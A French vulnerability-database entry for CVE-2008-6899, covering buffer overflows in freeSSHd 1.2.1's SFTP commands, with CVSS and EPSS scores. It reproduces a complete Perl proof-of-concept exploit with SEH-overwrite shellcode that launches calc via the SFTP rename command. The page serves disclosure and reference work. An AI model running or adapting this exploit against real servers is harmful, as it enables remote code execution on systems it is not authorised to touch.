CVE-2008-6899 : Détail

CVE-2008-6899

Overflow
3.11%V3
Network
2009-08-05
20h00 +00:00
2018-10-11
17h57 +00:00
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Descriptions du CVE

Multiple buffer overflows in freeSSHd 1.2.1 allow remote authenticated users to cause a denial of service (crash) and execute arbitrary code via a long (1) open, (2) unlink, (3) mkdir, (4) rmdir, or (5) stat SFTP command.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9 AV:N/AC:L/Au:S/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 8295

Date de publication : 2009-03-26 23h00 +00:00
Auteur : r0ut3r
EDB Vérifié : Yes

# FreeSSHd 1.2.1 (rename) Remote Buffer Overflow Exploit # # Advisory: http://www.bmgsec.com.au/advisory/45/ # Original: http://www.bmgsec.com.au/advisory/32/ # Related : http://www.bmgsec.com.au/advisory/42/ # # Test box: WinXP Pro SP2 English # # Exploit code for a vulnerability I discovered sometime # ago in FreeSSHd 1.2.1. This code should be run from a # user titled "root", or adjust the payload for your # username. I've left space for adjustments. Up to the # first six NOPs can be used (inclusive). # # The code exploits a vulnerability in the SFTP Rename # operation. The vulnerability was patched in 1.2.2 # # 00416F98 50 PUSH EAX # 00416F99 8D85 B8FEFFFF LEA EAX,DWORD PTR SS:[EBP-148] # 00416F9F 50 PUSH EAX # 00416FA0 E8 45B50400 CALL <JMP.&MSVCRT.strcpy> # # # Written and discovered by: # r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au) use Net::SSH2; my $user = "root"; my $pass = "yahh"; my $ip = "127.0.0.1"; my $port = 22; my $ssh2 = Net::SSH2->new(); print "[+] Connecting...\n"; $ssh2->connect($ip, $port) || die "[-] Unable to connect!\n"; $ssh2->auth_password($user, $pass) || "[-] Incorrect credentials\n"; print "[+] Sending payload\n"; $nop = "\x90"; $padding = 'A' x 105; my $SEH = "\x21\x11\x40\x00"; # pop, pop, ret - 0x00401121 (Universal - freeSSHdServer.exe) my $nextSEH = "\xEB\xF0\x90\x90"; # jmp short 240, nop, nop $mShellcode = "\xE9\xF2\xFE\xFF\xFF"; # win32_exec - EXITFUNC=process CMD=calc Size=160 Encoder=PexFnstenvSub - metasploit.com my $shellcode = "\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x02". "\x28\x29\x10\x83\xeb\xfc\xe2\xf4\xfe\xc0\x6d\x10\x02\x28\xa2\x55". "\x3e\xa3\x55\x15\x7a\x29\xc6\x9b\x4d\x30\xa2\x4f\x22\x29\xc2\x59". "\x89\x1c\xa2\x11\xec\x19\xe9\x89\xae\xac\xe9\x64\x05\xe9\xe3\x1d". "\x03\xea\xc2\xe4\x39\x7c\x0d\x14\x77\xcd\xa2\x4f\x26\x29\xc2\x76". "\x89\x24\x62\x9b\x5d\x34\x28\xfb\x89\x34\xa2\x11\xe9\xa1\x75\x34". "\x06\xeb\x18\xd0\x66\xa3\x69\x20\x87\xe8\x51\x1c\x89\x68\x25\x9b". "\x72\x34\x84\x9b\x6a\x20\xc2\x19\x89\xa8\x99\x10\x02\x28\xa2\x78". "\x3e\x77\x18\xe6\x62\x7e\xa0\xe8\x81\xe8\x52\x40\x6a\x56\xf1\xf2". "\x71\x40\xb1\xee\x88\x26\x7e\xef\xe5\x4b\x48\x7c\x61\x28\x29\x10"; my $payload = $nop x 6 . $shellcode . $padding . $mShellcode . $nop x 9 . $nextSEH . $SEH; my $sftp = $ssh2->sftp(); $sftp->rename($payload, 'B'); print "[+] Sent"; $ssh2->disconnect; # milw0rm.com [2009-03-27]

Products Mentioned

Configuraton 0

Freesshd>>Freesshd >> Version 1.2.1

Références

http://www.securityfocus.com/bid/32972
Tags : vdb-entry, x_refsource_BID